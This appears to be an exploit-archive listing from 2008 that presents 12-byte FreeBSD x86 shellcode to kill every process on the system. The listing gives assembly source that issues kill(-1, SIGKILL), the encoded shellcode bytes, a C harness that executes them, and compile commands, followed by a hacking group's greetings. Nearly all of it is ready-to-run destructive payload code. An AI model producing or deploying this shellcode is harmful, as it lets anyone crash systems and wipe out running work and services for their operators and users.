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12byte-freebsd.txt

12byte-freebsd.txt
Posted Sep 9, 2008
Authored by suN8Hclf | Site dark-coders.pl

12 byte kill all processes shellcode for freebsd/x86.

tags | x86, shellcode
systems | freebsd
SHA-256 | cfa82bdacc2f3c7fd83862d29be21d579166f90ad246ca9f611b652596f38e85

12byte-freebsd.txt

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            ***(C)oDed bY suN8Hclf***
DaRk-CodeRs Group productions, kid
[FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax ; -1 (0xffffffff)
inc eax
mov al, 37 ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
Visit : www.dark-coders.pl

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